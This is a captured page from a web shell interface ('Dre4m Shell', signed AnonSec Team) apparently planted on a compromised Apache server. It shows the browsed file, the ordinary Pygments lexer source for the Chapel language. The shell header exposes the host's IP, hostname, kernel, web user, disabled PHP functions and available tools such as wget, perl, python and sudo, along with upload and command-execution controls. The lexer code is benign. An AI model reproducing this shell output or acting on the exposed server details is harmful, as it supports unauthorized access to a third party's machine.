Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.145.66.195
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/2/task/2/root/proc/3/root/proc/2/root/lib/python3/dist-packages/pygments/lexers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/2/task/2/root/proc/3/root/proc/2/root/lib/python3/dist-packages/pygments/lexers//chapel.py
"""
    pygments.lexers.chapel
    ~~~~~~~~~~~~~~~~~~~~~~

    Lexer for the Chapel language.

    :copyright: Copyright 2006-2022 by the Pygments team, see AUTHORS.
    :license: BSD, see LICENSE for details.
"""

from pygments.lexer import RegexLexer, bygroups, words
from pygments.token import Text, Comment, Operator, Keyword, Name, String, \
    Number, Punctuation, Whitespace

__all__ = ['ChapelLexer']


class ChapelLexer(RegexLexer):
    """
    For Chapel source.

    .. versionadded:: 2.0
    """
    name = 'Chapel'
    url = 'https://chapel-lang.org/'
    filenames = ['*.chpl']
    aliases = ['chapel', 'chpl']
    # mimetypes = ['text/x-chapel']

    known_types = ('bool', 'bytes', 'complex', 'imag', 'int', 'locale',
                   'nothing', 'opaque', 'range', 'real', 'string', 'uint',
                   'void')

    type_modifiers_par = ('atomic', 'single', 'sync')
    type_modifiers_mem = ('borrowed', 'owned', 'shared', 'unmanaged')
    type_modifiers = (*type_modifiers_par, *type_modifiers_mem)

    declarations = ('config', 'const', 'in', 'inout', 'out', 'param', 'ref',
                    'type', 'var')

    constants = ('false', 'nil', 'none', 'true')

    other_keywords = ('align', 'as',
                      'begin', 'break', 'by',
                      'catch', 'cobegin', 'coforall', 'continue',
                      'defer', 'delete', 'dmapped', 'do', 'domain',
                      'else', 'enum', 'except', 'export', 'extern',
                      'for', 'forall', 'foreach', 'forwarding',
                      'if', 'implements', 'import', 'index', 'init', 'inline',
                      'label', 'lambda', 'let', 'lifetime', 'local',
                      'new', 'noinit',
                      'on', 'only', 'otherwise', 'override',
                      'pragma', 'primitive', 'private', 'prototype', 'public',
                      'reduce', 'require', 'return',
                      'scan', 'select', 'serial', 'sparse', 'subdomain',
                      'then', 'this', 'throw', 'throws', 'try',
                      'use',
                      'when', 'where', 'while', 'with',
                      'yield',
                      'zip')

    tokens = {
        'root': [
            (r'\n', Whitespace),
            (r'\s+', Whitespace),
            (r'\\\n', Text),

            (r'//(.*?)\n', Comment.Single),
            (r'/(\\\n)?[*](.|\n)*?[*](\\\n)?/', Comment.Multiline),

            (words(declarations, suffix=r'\b'), Keyword.Declaration),
            (words(constants, suffix=r'\b'), Keyword.Constant),
            (words(known_types, suffix=r'\b'), Keyword.Type),
            (words((*type_modifiers, *other_keywords), suffix=r'\b'), Keyword),

            (r'(iter)(\s+)', bygroups(Keyword, Whitespace), 'procname'),
            (r'(proc)(\s+)', bygroups(Keyword, Whitespace), 'procname'),
            (r'(operator)(\s+)', bygroups(Keyword, Whitespace), 'procname'),
            (r'(class|interface|module|record|union)(\s+)', bygroups(Keyword, Whitespace),
             'classname'),

            # imaginary integers
            (r'\d+i', Number),
            (r'\d+\.\d*([Ee][-+]\d+)?i', Number),
            (r'\.\d+([Ee][-+]\d+)?i', Number),
            (r'\d+[Ee][-+]\d+i', Number),

            # reals cannot end with a period due to lexical ambiguity with
            # .. operator. See reference for rationale.
            (r'(\d*\.\d+)([eE][+-]?[0-9]+)?i?', Number.Float),
            (r'\d+[eE][+-]?[0-9]+i?', Number.Float),

            # integer literals
            # -- binary
            (r'0[bB][01]+', Number.Bin),
            # -- hex
            (r'0[xX][0-9a-fA-F]+', Number.Hex),
            # -- octal
            (r'0[oO][0-7]+', Number.Oct),
            # -- decimal
            (r'[0-9]+', Number.Integer),

            # strings
            (r'"(\\\\|\\"|[^"])*"', String),
            (r"'(\\\\|\\'|[^'])*'", String),

            # tokens
            (r'(=|\+=|-=|\*=|/=|\*\*=|%=|&=|\|=|\^=|&&=|\|\|=|<<=|>>=|'
             r'<=>|<~>|\.\.|by|#|\.\.\.|'
             r'&&|\|\||!|&|\||\^|~|<<|>>|'
             r'==|!=|<=|>=|<|>|'
             r'[+\-*/%]|\*\*)', Operator),
            (r'[:;,.?()\[\]{}]', Punctuation),

            # identifiers
            (r'[a-zA-Z_][\w$]*', Name.Other),
        ],
        'classname': [
            (r'[a-zA-Z_][\w$]*', Name.Class, '#pop'),
        ],
        'procname': [
            (r'([a-zA-Z_][.\w$]*|'  # regular function name, including secondary
             r'\~[a-zA-Z_][.\w$]*|'  # support for legacy destructors
             r'[+*/!~%<>=&^|\-:]{1,2})',  # operators
             Name.Function, '#pop'),

            # allow `proc (atomic T).foo`
            (r'\(', Punctuation, "receivertype"),
            (r'\)+\.', Punctuation),
        ],
        'receivertype': [
            (words(type_modifiers, suffix=r'\b'), Keyword),
            (words(known_types, suffix=r'\b'), Keyword.Type),
            (r'[^()]*', Name.Other, '#pop'),
        ],
    }

Anon7 - 2022
AnonSec Team